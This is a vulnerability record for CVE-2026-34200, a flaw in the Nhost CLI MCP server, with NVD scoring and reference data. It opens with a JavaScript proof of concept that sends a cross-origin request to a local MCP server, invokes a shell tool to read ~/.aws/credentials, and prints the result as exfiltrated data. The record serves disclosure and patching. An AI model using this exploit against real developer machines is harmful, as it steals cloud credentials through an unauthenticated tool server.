CVE-2026-34200

// Conceptual PoC for CVE-2026-34200 // Exploitation requires the victim to visit a malicious site while MCP server is running. async function attackMCP() { // Target the local MCP server port (example port) const target = 'http://localhost:3000/mcp/tools/invoke'; // Construct a malicious payload to execute a command or read a file const payload = { "tool": "system_shell", "arguments": { "command": "cat ~/.aws/credentials" } }; try { // Send request using fetch. Due to CORS misconfiguration, this may succeed. const response = await fetch(target, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); const data = await response.json(); console.log('Exfiltrated Data:', data); } catch (e) { console.error('Attack failed (might still have executed server-side):', e); } } attackMCP();

{"cve": {"id": "CVE-2026-34200", "sourceIdentifier": "[email protected]", "published": "2026-03-31T15:16:17.670", "lastModified": "2026-04-07T21:08:51.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nhost is an open source Firebase alternative with GraphQL. Prior to version 1.41.0, The Nhost CLI MCP server, when explicitly configured to listen on a network port, applies no inbound authentication and does not enforce strict CORS. This allows a malicious website visited on the same machine to issue cross-origin requests to the MCP server and invoke privileged tools using the developer's locally configured credentials. This vulnerability requires two explicit, non-default configuration steps to be exploitable. The default nhost mcp start configuration is not affected. This issue has been patched in version 1.41.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-942"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nhost:cli:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.41.0", "matchCriteriaId": "6449E6F2-0FEB-4CB5-AE5B-B22FDB55BA81"}]}]}], "references": [{"url": "https://github.com/nhost/nhost/commit/15eae9285f9dce63e184b9bb24616474ffa5ccc9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nhost/nhost/pull/4060", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nhost/nhost/security/advisories/GHSA-6c5x-3h35-vvw2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/nhost/nhost/security/advisories/GHSA-6c5x-3h35-vvw2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}